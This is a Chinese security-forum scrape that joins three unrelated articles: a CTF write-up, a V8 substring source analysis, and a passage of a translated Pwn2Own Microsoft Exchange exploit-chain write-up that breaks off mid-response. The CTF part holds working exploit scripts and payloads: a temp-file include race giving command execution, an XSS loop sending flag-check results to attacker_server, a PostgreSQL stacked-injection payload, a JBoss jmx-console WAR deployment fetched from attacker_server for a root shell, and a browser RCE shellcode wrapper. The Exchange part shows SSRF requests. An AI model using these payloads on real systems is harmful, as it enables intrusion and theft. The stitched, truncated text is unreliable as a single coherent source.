通过 post 上传临时可以绕过二次渲染的马，getshell。可以利用 file_get_contents 来阻塞住进程，延长临时文件存在的时间。
# -*- coding: utf-8 -*-
import re
import sys
import requests
import threading
import time
image = open('evil.png', 'rb').read()
uploadImage = [('file', ('exp.png',
image,
'application/png'))]
proxies = {
'http': '127.0.0.1:8080'
}
def upload():
payload = {}
files = uploadImage
headers = {
'Cookie': 'ctfer=%4f%3a%37%3a%22%6d%79%63%6c%61%73%73%22%3a%32%3a%7b%73%3a%31%3a%22%61%22%3b%4f%3a%35%3a%22%48%65%6c%6c%6f%22%3a%32%3a%7b%73%3a%33%3a%22%71%77%62%22%3b%73%3a%32%35%3a%22%68%74%74%70%3a%2f%2f%38%31%2e%36%38%2e%31%37%30%2e%32%34%33%3a%32%33%33%33%22%3b%7d%73%3a%31%3a%22%62%22%3b%4f%3a%33%32%3a%22%65%32%61%37%31%30%36%66%31%63%63%38%62%62%31%65%31%33%31%38%64%66%37%30%61%61%30%61%33%35%34%30%22%3a%30%3a%7b%7d%7d'
}
response = requests.request("POST", url, headers=headers, data=payload, files=files, proxies=proxies)
print(response.text)
def scanTmpDir():
u = url + "/e2a7106f1cc8bb1e1318df70aa0a3540.php"
param = {
scan_param: '/tmp/',
}
while True:
response1 = requests.get(u, params=param, allow_redirects=False)
files = re.findall(r'php[a-zA-Z0-9]{6}', response1.text)
if len(files) != 0:
include(files)
def include(files):
u = url + "/e2a7106f1cc8bb1e1318df70aa0a3540.php"
for file in files:
file = "/tmp/" + file
param = {
include_param: file,
'1':"system('{}');".format(command)
}
# print("including :", file)
response = requests.get(u, params=param, proxies=proxies)
print(response.text)
if __name__ == '__main__':
if len(sys.argv) < 3:
print("py -3 exp.py url include_param scan_param command")
exit()
url = sys.argv[1]
include_param = sys.argv[2]
scan_param = sys.argv[3]
command = sys.argv[4]
attack = ""
threading.Thread(target=upload).start()
threading.Thread(target=scanTmpDir).start()
通过信息搜集，最后通过 bin 下的 文件获取 flag。
## EasyXSS
阅读 hint ，是要通过构造一个 xss 让 admin 去逐字节比较 flag， 一开始在 write 那找到了一个 xss 可以引入 <base>
标签，导入外部 js， 但是尝试 report 好像没触发，无果。在about 处又找到了一个 xss：
import requests
r = requests.Session()
#host = 'http://47.104.192.54:8888'
host = 'http://47.104.210.56:8888'
username = 'guesttest'
password = 'guesttest'
def register(host):
url = f"{host}/register"
res = r.post(url, data = {"username":username, "password":password})
def login(host):
url = f"{host}/login"
res = r.post(url, data = {"username":username, "password":password})
register(host)
login(host)
uuid_table = '-abcdef1234567890'
flag_str = 'flag{6bb77f8b-6bc8-4b9e-b654-8a4da'
flag_str = "flag{6bb77f8b-6bc8-4b9e-b654-8a4da5ae920"
while True:
for i in uuid_table:
flag = flag_str + i
payload = 'http://localhost:8888/about?theme=%22;$.ajax({url:%22/flag?var=' + flag + '%22,success:(data)=>{location.href="http://attacker_server/?test"}});//'
print(payload)
url = f"{host}/report"
res = r.post(url, {"url":payload})
import time
time.sleep(6)
with open("/var/log/apache2/access.log", "r") as f:
data = f.read()
import os
os.system('echo "" > /var/log/apache2/access.log')
time.sleep(0.1)
if 'test' in data:
flag_str = flag
print(flag_str)
break
## EasySQL
题目源码：
const salt = random('Aa0', 40);
const HashCheck = sha256(sha256(salt + 'admin')).toString();
let filter = (data) => {
let blackwords = ['alter', 'insert', 'drop', 'delete', 'update', 'convert', 'chr', 'char', 'concat', 'reg', 'to', 'query'];
let flag = false;
if (typeof data !== 'string') return true;
blackwords.forEach((value, idx) => {
if (data.includes(value)) {
console.log(`filter: ${value}`);
return (flag = true);
}
});
let limitwords = ['substring', 'left', 'right', 'if', 'case', 'sleep', 'replace', 'as', 'format', 'union'];
limitwords.forEach((value, idx) => {
if (count(data, value) > 3){
console.log(`limit: ${value}`);
return (flag = true);
}
});
return flag;
}
app.get('/source', async (req, res, next) => {
fs.readFile('./source.txt', 'utf8', (err, data) => {
if (err) {
res.send(err);
}
else {
res.send(data);
}
});
});
app.all('/', async (req, res, next) => {
if (req.method == 'POST') {
if (req.body.username && req.body.password) {
let username = req.body.username.toLowerCase();
let password = req.body.password.toLowerCase();
if (username === 'admin') {
res.send(`<script>alert("Don't want this!!!");location.href='/';</script>`);
return;
}
UserHash = sha256(sha256(salt + username)).toString();
if (UserHash !== HashCheck) {
res.send(`<script>alert("NoNoNo~~~You are not admin!!!");location.href='/';</script>`);
return;
}
if (filter(password)) {
res.send(`<script>alert("Hacker!!!");location.href='/';</script>`);
return;
}
let sql = `select password,username from users where username='${username}' and password='${password}';`;
client.query(sql, [], (err, data) => {
if (err) {
res.send(`<script>alert("Something Error!");location.href='/';</script>`);
return;
}
else {
if ((typeof data !== 'undefined') && (typeof data.rows[0] !== 'undefined') && (data.rows[0].password === password)) {
res.send(`<script>alert("Congratulation,here is your flag:${flag}");location.href='/';</script>`);
return;
}
else {
res.send(`<script>alert("Password Error!!!");location.href='/';</script>`);
return;
}
}
});
}
}
res.render('index');
return;
});
题目是一个看似 quine (<https://en.wikipedia.org/wiki/Quine_(computing)>) 的 sql
注入语句构造小游戏, 所谓quine就是代码或指令的内容与该代码/指令执行返回结果相同。本题是要构造注入语句与注入结果相同(password)。
首先需要通过对用户名的检测，既不能等于 “admin”，同时算出来的 hash 还要和 admin 相同，这里使用了 javascript 的小
trick：
通过 username[]=admin 即可绕过检测。
接下来就是对 password 这里 sql 注入的考量，首先题目设定了一些 waf 拦截了一些关键词以及限制了一些词的使用次数。
可以简单的对数据库类型进行探测，尝试了一些常用的 mysql 函数，发现不匹配(报错)，sqlite 函数也不匹配，最终定位成 pgsql。
然后通过 like 语句测试出 users 表是空表，那么很显然的解决方案:
1. 绕过 waf 进行 quine 的构造;
2. 通过堆叠注入向表中插入数据。
第一个方案对于 pgsql 来说很简单，pgsql 存在 current_query 或者一些系统表可以获取当前执行的语句，但是因为关键词次数的限制以及
union 不明原因无法正常使用(可能和对应的 pgsql 版本有关)，笔者放弃了。
最后通过 create function 建立一个可以执行任意 query 的函数，通过字符串翻转函数绕过 waf，执行 insert
插入数据。感觉可能是非预期解法。
<https://stackoverflow.com/questions/7433201/are-there-any-way-to-execute-a-query-inside-the-string-value-like-eval-in-post>
create or replace function eval(expression text) returns integer
as
$body$
declare
result integer;
begin
execute expression;
return 1;
end;
$body$
language plpgsql;
select eval(reverse(')''ass111'' ,''nimda''( seulav )drowssap ,emanresu( sresu otni tresni'));
commit;
最后一个问题，执行堆叠注入会导致 client.query 返回为空，使题目挂掉，因为执行了 commit 操作，所以可以在其后构造一些语法错误，让 err
有返回值：
username[]=admin&password=a';create%20or%20replace%20function%20eval(expression%20text)%20returns%20integer%0aas%0a%24body%24%0adeclare%0a%20%20result%20integer%3b%0abegin%0a%20%20execute%20expression%3b%0a%20%20return%201%3b%0aend%3b%0a%24body%24%0alanguage%20plpgsql%3b%0aselect%20eval(reverse(')''321aaa''%20%2c''nimda''(%20seulav%20)drowssap%20%2cemanresu(%20sresu%20otni%20tresni'))%3b;commit;aaaa--+-
## EasyWeb
/files/ 路径可以读 hint，然后提示说扫端口。找到系统：
http://47.104.137.239:36842/account/login
账号处SQL 注入 ‘union select 1,2,3,4,5,6,7#、密码为空，即可登录。
登录后 /file/ 下有文件上传功能：
测试发现上传有检查文件名，且文件名里应该是过滤了 XSS 字符，所以用 a.p<>hp 绕过，得到 webshell。
shell 后发现是 www-data 权限，而 flag 要是 root 权限才能读。
但发现 localhost 8006 是 jboss，权限是 root：
http://47.104.137.239:36842/upload/917c389f94e804f95e4e20e4c937bf5a/a.php?1=curl%20http://127.0.0.1:8006/
root 1113 0.4 2.8 1403472 226328 pts/0 Sl 13:31 0:27 /etc/jdk1.6/bin/java
-server -Xms128m -Xmx128m -Dprogram.name=run.sh
-Djava.endorsed.dirs=/etc/jboss/lib/endorsed -classpath
/etc/jboss/bin/run.jar:/etc/jdk1.6/lib/tools.jar org.jboss.Main -b 0.0.0.0
所以用 jmx-console 的洞直接部署war包：
http://127.0.0.1:8006/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.system%3Aservice%3DMainDeployer&methodName=deploy&argType=java.lang.String&arg0=http://attacker_server/test.war
即可获取 root shell：
然后就能读到 root 权限才能读的 flag。
## HarderXSS
首先登录位置存在注入，使用账号 admin’or’1，密码任意即可登录(需要手动设置一下返回的 cookie 到当前 domain)。
头像上传的位置可以上传 svg，存在存储型 xss 漏洞：
<?xml version="1.0"?><?x
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg"
width="467" height="462">
<rect x="80" y="60" width="250" height="250" rx="20"
style="fill:#ff0000; stroke:#000000;stroke-width:2px;" />
<rect x="140" y="120" width="250" height="250" rx="40"
style="fill:#0000ff; stroke:#000000; stroke-width:2px;
fill-opacity:0.7;" />
<animate onbegin='alert(1)' attributeName='x' dur='1s'></animate>
</svg>
通过对 UA 的分析，发现浏览器版本过低，因此使用 chrome 1day：
<https://github.com/dock0d1/Exploit-Google-Chrome-86.0.4240_V8_RCE/blob/main/exploit.js>
测试leak一下地址：
然后构造反弹 shell 的 shellcode，使用下面的 js wrapper 进行转化替换掉原 exp 的 shellcode 即可：
var shellcode = "\x90\x90"; // replace with shellcode
while(shellcode.length % 4)
shellcode += "\x90";
var buf = new ArrayBuffer(shellcode.length);
var arr = new Uint32Array(buf);
var u8_arr = new Uint8Array(buf);
for(var i=0;i<shellcode.length;++i)
u8_arr[i] = shellcode.charCodeAt(i);
console.log(arr);
## Hard_Penetration
Shiro 反序列化漏洞，默认 key，CommonsCollections 3.x 的利用链。shell 后发现读 flag 没有权限：
执行命令查看进程发现有个 root 权限启的 apache 进程，lsof/netstat 想看占用端口但权限不够，所以扫了下本机开放的端口，确定
apache 服务端口号是 8005。
通过对比指纹、信息收集，判定用的是通用系统 baocms，在 github 上找到一份源码：
<https://github.com/IsCrazyCat/demo-baocms-v17.1>
审计之后，找到一个 php 文件包含的漏洞，由于 apache 是 root 权限，因此这个漏洞就能直接用来读 flag。
## Hard_APT_jeesite
题目环境用的是 jeesite，版本是 1.2.7。这个版本的 jeesite 理应有 shiro 反序列化漏洞，但使用工具扫了下常见的 shiro
key，都不对，估计是 key 被手动改过或者 shiro 升级过。
根据题目提示，要尝试从 shiro 的配置文件中寻找关键信息。因此从网上下载 jeesite 1.2.7 的代码，进行审计后找到一个视图注入的漏洞，直接读
shiro 的配置文件，从配置文件的注释中找到邮箱配置信息：
直接登陆 qq 邮箱登不上，判断这里的 password 应该是 pop3 的连接口令。直接用 java commons-net 库里的
POP3Client 连接 qq 邮箱服务器，从邮件里读出 flag：
这里的 base64 解开就是 flag。 | 社区文章 |
# 《Chrome V8源码》28.分析substring源码和隐式约定
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
本篇文章是Builtin专题的第四篇，主要分析`substring`的源码。`substring`有两种实现方法，一种采用CSA实现，另一种采用Runtime实现。本文讲解CSA实现的`substring`方法以及V8对字符串长度和类型的隐式约定。
## 2 substring的CSA实现
提取字符串中介于两个指定下标之间的子字符串时，V8优先使用CSA实现的substring方法，源码如下：
1. TF_BUILTIN(StringPrototypeSubstring, CodeStubAssembler) {
2. if (block0.is_used()) {//省略了很多代码.......................................
3. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 33);
4. tmp5 = FromConstexpr6String18ATconstexpr_string_156(state_, "String.prototype.substring");
5. tmp6 = CodeStubAssembler(state_).ToThisString(compiler::TNode<Context>{tmp3}, compiler::TNode<Object>{tmp4}, compiler::TNode<String>{tmp5});
6. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 34);
7. tmp7 = CodeStubAssembler(state_).LoadStringLengthAsSmi(compiler::TNode<String>{tmp6});
8. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 37);
9. tmp8 = FromConstexpr8ATintptr17ATconstexpr_int31_150(state_, 0);
10. tmp9 = CodeStubAssembler(state_).GetArgumentValue(TorqueStructArguments{compiler::TNode<RawPtrT>{tmp0}, compiler::TNode<RawPtrT>{tmp1}, compiler::TNode<IntPtrT>{tmp2}}, compiler::TNode<IntPtrT>{tmp8});
11. tmp10 = ToSmiBetweenZeroAnd_343(state_, compiler::TNode<Context>{tmp3}, compiler::TNode<Object>{tmp9}, compiler::TNode<Smi>{tmp7});
12. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 40);
13. tmp11 = FromConstexpr8ATintptr17ATconstexpr_int31_150(state_, 1);
14. tmp12 = CodeStubAssembler(state_).GetArgumentValue(TorqueStructArguments{compiler::TNode<RawPtrT>{tmp0}, compiler::TNode<RawPtrT>{tmp1}, compiler::TNode<IntPtrT>{tmp2}}, compiler::TNode<IntPtrT>{tmp11});
15. tmp13 = Undefined_64(state_);
16. tmp14 = CodeStubAssembler(state_).TaggedEqual(compiler::TNode<Object>{tmp12}, compiler::TNode<HeapObject>{tmp13});
17. ca_.Branch(tmp14, &block1, &block2, tmp0, tmp1, tmp2, tmp3, tmp4, tmp6, tmp7, tmp10);
18. }
19. if (block1.is_used()) {
20. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 41);
21. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 40);
22. ca_.Goto(&block4, tmp15, tmp16, tmp17, tmp18, tmp19, tmp20, tmp21, tmp22, tmp21);
23. }
24. if (block2.is_used()) {
25. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 42);
26. tmp31 = FromConstexpr8ATintptr17ATconstexpr_int31_150(state_, 1);
27. tmp32 = CodeStubAssembler(state_).GetArgumentValue(TorqueStructArguments{compiler::TNode<RawPtrT>{tmp23}, compiler::TNode<RawPtrT>{tmp24}, compiler::TNode<IntPtrT>{tmp25}}, compiler::TNode<IntPtrT>{tmp31});
28. tmp33 = ToSmiBetweenZeroAnd_343(state_, compiler::TNode<Context>{tmp26}, compiler::TNode<Object>{tmp32}, compiler::TNode<Smi>{tmp29});
29. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 40);
30. ca_.Goto(&block3, tmp23, tmp24, tmp25, tmp26, tmp27, tmp28, tmp29, tmp30, tmp33);
31. }
32. if (block4.is_used()) {
33. ca_.Goto(&block3, tmp34, tmp35, tmp36, tmp37, tmp38, tmp39, tmp40, tmp41, tmp42);
34. }
35. if (block3.is_used()) {
36. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 43);
37. tmp52 = CodeStubAssembler(state_).SmiLessThan(compiler::TNode<Smi>{tmp51}, compiler::TNode<Smi>{tmp50});
38. ca_.Branch(tmp52, &block5, &block6, tmp43, tmp44, tmp45, tmp46, tmp47, tmp48, tmp49, tmp50, tmp51);
39. }
40. if (block5.is_used()) {
41. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 44);
42. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 45);
43. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 46);
44. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 43);
45. ca_.Goto(&block6, tmp53, tmp54, tmp55, tmp56, tmp57, tmp58, tmp59, tmp61, tmp60);
46. }
47. if (block6.is_used()) {
48. ca_.SetSourcePosition("../../../src/builtins/string-substring.tq", 48);
49. tmp71 = CodeStubAssembler(state_).SmiUntag(compiler::TNode<Smi>{tmp69});
50. tmp72 = CodeStubAssembler(state_).SmiUntag(compiler::TNode<Smi>{tmp70});
51. tmp73 = CodeStubAssembler(state_).SubString(compiler::TNode<String>{tmp67}, compiler::TNode<IntPtrT>{tmp71}, compiler::TNode<IntPtrT>{tmp72});
52. arguments.PopAndReturn(tmp73);
53. }
54. }
上述代码由`string-substring.tq`指导编译器生成，其位置在`V8\v8\src\out\default\gen\torque-generated\src\builtins`目录下，这意味它在编译V8过程中生成。
**（1）** 第3行代码设置源码，源码来自`string-substring.tq`文件的第33行，见图1；
**（2）** `codeStubAssembler(state_).ToThisString()`（第5行代码）把this转成字串符；
第6行代码设置源码，见图1；`CodeStubAssembler(state_).LoadStringLengthAsSmi()`（第7行代码）计算字符串长度，参数tmp6的值是第5行代码的执行结果。由于第6、7行代码与第3、5行的编码风格一样，所以可以通过对`string-substring.tq`的逐行分析看懂CodeStubAssembler。
下面说明substring源码中的其它关键功能：
**（1）** `ca_.Goto()`跳转到标签位置，它的第一参数是标签，源码如下：
template <class... T, class... Args>
void Goto(CodeAssemblerParameterizedLabel<T...>* label, Args... args) {
label->AddInputs(args...);
Goto(label->plain_label());
}
**（2）**`ca_.Bind()`设置标签，源码如下：
template <class... T>
void Bind(CodeAssemblerParameterizedLabel<T...>* label, TNode<T>*... phis) {
Bind(label->plain_label());
label->CreatePhis(phis...);
}
**（3）**`ca_.Branch()`分支跳转，源码如下：
template <class... T, class... Args>
void Branch(TNode<BoolT> condition,
CodeAssemblerParameterizedLabel<T...>* if_true,
CodeAssemblerParameterizedLabel<T...>* if_false, Args... args) {
if_true->AddInputs(args...);
if_false->AddInputs(args...);
Branch(condition, if_true->plain_label(), if_false->plain_label());
}
其中参数`condition`是条件，参数`if_true、if_false`是跳转标签。
**（4）** `LoadStringLengthAsSmi()`和`SmiUntag()`是`CodeStubAssembler`的成员方法。
总结`TF_BUILTIN(StringPrototypeSubstring, CodeStubAssembler)`的功能为如下三点：
**（1）** 把this转换为字符串并获取长度length；
**（2）** 判断substring的长度（sublen）是否小于length；
**（3）** 调用`CodeStubAssembler.SubString`完成substring操作。
`CodeStubAssembler.SubString`的源码如下：
1. TNode<String> CodeStubAssembler::SubString(TNode<String> string,
2. TNode<IntPtrT> from,
3. TNode<IntPtrT> to) {
4. //省略很多
5. Label external_string(this);
6. {
7. if (FLAG_string_slices) {
8. Label next(this);
9. GotoIf(IntPtrLessThan(substr_length,
10. IntPtrConstant(SlicedString::kMinLength)),
11. &next);
12. Counters* counters = isolate()->counters();
13. IncrementCounter(counters->sub_string_native(), 1);
14. Label one_byte_slice(this), two_byte_slice(this);
15. Branch(IsOneByteStringInstanceType(to_direct.instance_type()),
16. &one_byte_slice, &two_byte_slice);
17. BIND(&one_byte_slice);
18. {
19. var_result = AllocateSlicedOneByteString(
20. Unsigned(TruncateIntPtrToInt32(substr_length)), direct_string,
21. SmiTag(offset));
22. Goto(&end);
23. }
24. BIND(&two_byte_slice);
25. {
26. var_result = AllocateSlicedTwoByteString(
27. Unsigned(TruncateIntPtrToInt32(substr_length)), direct_string,
28. SmiTag(offset));
29. Goto(&end);
30. }
31. BIND(&next);
32. }
33. GotoIf(to_direct.is_external(), &external_string);
34. var_result = AllocAndCopyStringCharacters(direct_string, instance_type,
35. offset, substr_length);
36. Counters* counters = isolate()->counters();
37. IncrementCounter(counters->sub_string_native(), 1);
38. Goto(&end);
39. }
40. BIND(&external_string);
41. {
42. TNode<RawPtrT> const fake_sequential_string =
43. to_direct.PointerToString(&runtime);
44. var_result = AllocAndCopyStringCharacters(
45. fake_sequential_string, instance_type, offset, substr_length);
46. Counters* counters = isolate()->counters();
47. IncrementCounter(counters->sub_string_native(), 1);
48. Goto(&end);
49. }
50. BIND(&empty);
51. {
52. }
53. BIND(&single_char);
54. {
55. TNode<Int32T> char_code = StringCharCodeAt(string, from);
56. var_result = StringFromSingleCharCode(char_code);
57. Goto(&end);
58. }
59. BIND(&original_string_or_invalid_length);
60. {
61. //省略很多
62. }
63. BIND(&runtime);
64. {
65. var_result =
66. CAST(CallRuntime(Runtime::kStringSubstring, NoContextConstant(), string,
67. SmiTag(from), SmiTag(to)));
68. Goto(&end);
69. }
70. BIND(&end);
71. return var_result.value();
72. }
FLAG_string_slices（上述第7行代码）是切片的使能标记，它定义在`flag-definitions.h`中，源码如下：
// Flags for data representation optimizations
DEFINE_BOOL_READONLY(string_slices, true, "use string slices")
第9行代码`GotoIf()`计算substr_length的值，如果小于13则跳转到标签next。
第15行代码`Branch()`判断字符串是单字节字符还是双字节字符。
第17-23行、24-30行分别处理单字节、双字节两种情况，稍后讲解。
第40-49行代码`BIND(&external_string)`操作外部字符串，外部字符串指的是不在V8
heap中的字符串，如从DOM中引用的字符串就是外部字符串。操作外部字符串时使用Runtime方法。
第53-58行代码：当sublength=1时，调用`StringCharCodeAt()`完成相应的操作并返回结果。
第63-70行代码：当字符串为外部字符串时，调用`Runtime_StringSubstring`完成相应的操作并返回结果。
在V8中，`slice`生成新字符串时，如果新字符串长度大于SlicedString::kMinLength则不申请新内存，而是使用开始指针和结束指针引用原字符串。以单字节字串符为例讲解slice方法，源码如下：
1. TNode<String> CodeStubAssembler::AllocateSlicedOneByteString(
2. TNode<Uint32T> length, TNode<String> parent, TNode<Smi> offset) {
3. return AllocateSlicedString(RootIndex::kSlicedOneByteStringMap, length,
4. parent, offset);
5. }
6. //分隔线..............................
7. TNode<String> CodeStubAssembler::AllocateSlicedString(RootIndex map_root_index,
8. TNode<Uint32T> length,
9. TNode<String> parent,
10. TNode<Smi> offset) {
11. DCHECK(map_root_index == RootIndex::kSlicedOneByteStringMap ||
12. map_root_index == RootIndex::kSlicedStringMap);
13. TNode<HeapObject> result = Allocate(SlicedString::kSize);
14. DCHECK(RootsTable::IsImmortalImmovable(map_root_index));
15. StoreMapNoWriteBarrier(result, map_root_index);
16. StoreObjectFieldNoWriteBarrier(result, SlicedString::kHashFieldOffset,
17. Int32Constant(String::kEmptyHashField),
18. MachineRepresentation::kWord32);
19. StoreObjectFieldNoWriteBarrier(result, SlicedString::kLengthOffset, length,
20. MachineRepresentation::kWord32);
21. StoreObjectFieldNoWriteBarrier(result, SlicedString::kParentOffset, parent,
22. MachineRepresentation::kTagged);
23. StoreObjectFieldNoWriteBarrier(result, SlicedString::kOffsetOffset, offset,
24. MachineRepresentation::kTagged);
25. return CAST(result);
26. }
上述代码中`AllocateSlicedOneByteString()`是入口函数，调用`AllocateSlicedString()`函数。第13行代码创建`SlicedString`对象（result）；第16-24行代码把sublength、父亲字符串基址和偏移量存入result中，slice完毕。
**技术总结**
**（1）** string-substring.tq是开发者手写的Builtin源码，string-substring-tq-csa.cc和.h是Tq生成的Builtin源码；
**（2）**
SlicedString::kMinLength的值是13，news=substring(start,stop)，news的长度小于13时用copy机制，大于13时用引用机制；
**（3）** 因为使用了Runtime_substring方法，所以外部字符串的操作效率低。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
本文为翻译稿件，原文：[Pwn2Own 2021 Microsoft Exchange Exploit
Chain](https://blog.viettelcybersecurity.com/pwn2own-2021-microsoft-exchange-exploit-chain/ "Pwn2Own 2021 Microsoft Exchange Exploit Chain")
## 漏洞利用简介
`Autodiscover`前端服务中的`Microsoft
Exchange`未经身份验证的`SSRF`，结合`Powershell`后端服务中的身份验证绕过和`OAB`后端服务中的任意文件写入，导致远程代码执行。
## 漏洞摘要
漏洞利用链允许远程攻击者编写`webshell`并在受影响的`Microsoft Exchange
Server`安装上执行任意代码，无需身份验证即可利用此漏洞。这三个漏洞包括：
* 前端服务中未经身份验证的`SSRF`允许远程攻击者以`LocalSystem`权限向后端服务发送任意命令;
* 允许远程攻击者绕过`Powershell`后端服务中的身份验证绕过以管理员权限运行任意`Exchange cmdlet`;
* `OAB`后端服务中的任意文件写入允许远程攻击者可以在`OAB`文件夹上编写`webshell`。
前两个漏洞被称为`ProxyShell`漏洞,与`Orange Tsai`重复。 所以我在`Pwn2Own`比赛中只获得了部分胜利。
第三个漏洞有趣且复杂，我学到了很多关于`Microsoft Exchange`数据库 (MDB) 和 OAB 协议的内部知识。
此外，还可以利用它在`Exchange Online`服务上获取`RCE'`。 我在我的团队中进行了本地演示。
阅读此博客后，您可以在此处(<https://www.slideshare.net/rskvp93/pwn2own2021msexchange3rdvulnpdf)获得有关第三个漏洞的更多详细信息。>
## 漏洞分析
该漏洞由`Python 2.7`开发。 安装请求模块：`pip install requests`.
执行命令：
python exploit.py <url> <domain_part> <command>
- url: the target url, for example https://ex19.exchangelab.local
- domain_part: the domain part an email address, for example [email protected], the domain part will be exchangelab.local
- command: the cmd command to run on server, for example whoami, dir
Example:
python exploit.py https://ex19.exchangelab.local exchangelab.local "whoami /all"
我在这里发布了我的漏洞[
exploit.py](https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58 "
exploit.py")
## 漏洞一
`Exchange`邮箱服务器上的客户端访问服务负责接受所有形式的客户端连接。客户端访问（前端）服务将这些连接代理到目标邮箱服务器（本地服务器或保存用户邮箱的活动副本的远程邮箱服务器）上的后端服务,客户端不直接连接到后端服务。通信如下图所示。
`Autodiscover`前端服务中的`SSRF`漏洞允许未经身份验证的远程攻击者，向任意后端服务发送带有受控uri和受控数据的任意请求。此代理请求作为`LocalSystem`帐户完全验证到后端服务。
示例请求如下：
POST /Autodiscover/[email protected]/ews/exchange.asmx HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
SOAPAction: "http://schemas.microsoft.com/exchange/services/2006/messages/FindFolder"
Content-Type: text/xml;charset=UTF-8
Cookie: email=Autodiscover/[email protected]
Content-Length: 1429
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:mes="http://schemas.microsoft.com/exchange/services/2006/messages">
...
</soapenv:Envelope>
电子邮件`cookie`的值为`“Autodiscover/[email protected]”`。
如果`RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)`返回
`True`，它被设置到`this.explicitLogonAddress`。
然后当前端服务调用`GetClientUrlForProxy`方法构造代理路径转发给后端服务时，`this.explicitLogonAddress`的值将从原来的`AbsoluteUri`中移除。
注意，这里使用`base.ClientRequest.Url.AbsoluteUri`而不是
`base.ClientRequest.Url.AbsolutePath`。
原来的`AbsoluteUri`是
`/Autodiscover/[email protected]/ews/exchange.asmx`。
移除`“Autodiscover/[email protected]”`后，最后代理路径为`/ews/exchange.asmx`。
代理请求使用`LocalSystem`帐户（又名计算机帐户）进行身份验证，因为在`PrepareServerRequest`方法中，构造了`Kerberos`授权标头并将其添加到代理请求中。
对于这个漏洞，我使用了与最近`Orange Tsai`的`ProxyLogon`漏洞相同的操作（特别感谢他非常棒的bug和很多技术）。
以下有效负载将允许获取用户邮箱的`UserDN`（旧版
DN）（我使用`SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com`，这是一个大众熟知的特殊邮箱）。
POST /Autodiscover/[email protected]/Autodiscover/Autodiscover.svc HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: text/xml; charset=utf-8
Cookie: email=Autodiscover/[email protected]
Content-Length: 1105
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion>
<wsa:Action>http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings</wsa:Action>
<wsa:To>https://mail.microsoft.com/autodiscover/autodiscover.svc</wsa:To>
</soap:Header>
<soap:Body>
<a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
<a:Request>
<a:Users>
<a:User>
<a:Mailbox>SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com</a:Mailbox>
</a:User>
</a:Users>
<a:RequestedSettings>
<a:Setting>UserDN</a:Setting>
</a:RequestedSettings>
</a:Request>
</a:GetUserSettingsRequestMessage>
</soap:Body>
</soap:Envelope>
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: a1d3f976-97ad-42dd-b19a-07ed66b685a1
X-CalculatedBETarget: exchange16.domaincorp.com
X-DiagInfo: EXCHANGE16
X-BEServer: EXCHANGE16
X-AspNet-Version: 4.0.30319
Set-Cookie: X-BackEndCookie=; expires=Sun, 31-Mar-1991 02:22:42 GMT; path=/Autodiscover; secure; HttpOnly
X-Powered-By: ASP.NET
X-FEServer: EXCHANGE16
Date: Wed, 31 Mar 2021 02:22:42 GMT
Content-Length: 1314
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" xmlns:a="http://www.w3.org/2005/08/addressing"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettingsResponse</a:Action><h:ServerVersionInfo xmlns:h="http://schemas.microsoft.com/exchange/2010/Autodiscover" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><h:MajorVersion>15</h:MajorVersion><h:MinorVersion>1</h:MinorVersion><h:MajorBuildNumber>2242</h:MajorBuildNumber><h:MinorBuildNumber>4</h:MinorBuildNumber><h:Version>Exchange2015</h:Version></h:ServerVersionInfo></s:Header><s:Body><GetUserSettingsResponseMessage xmlns="http://schemas.microsoft.com/exchange/2010/Autodiscover"><Response 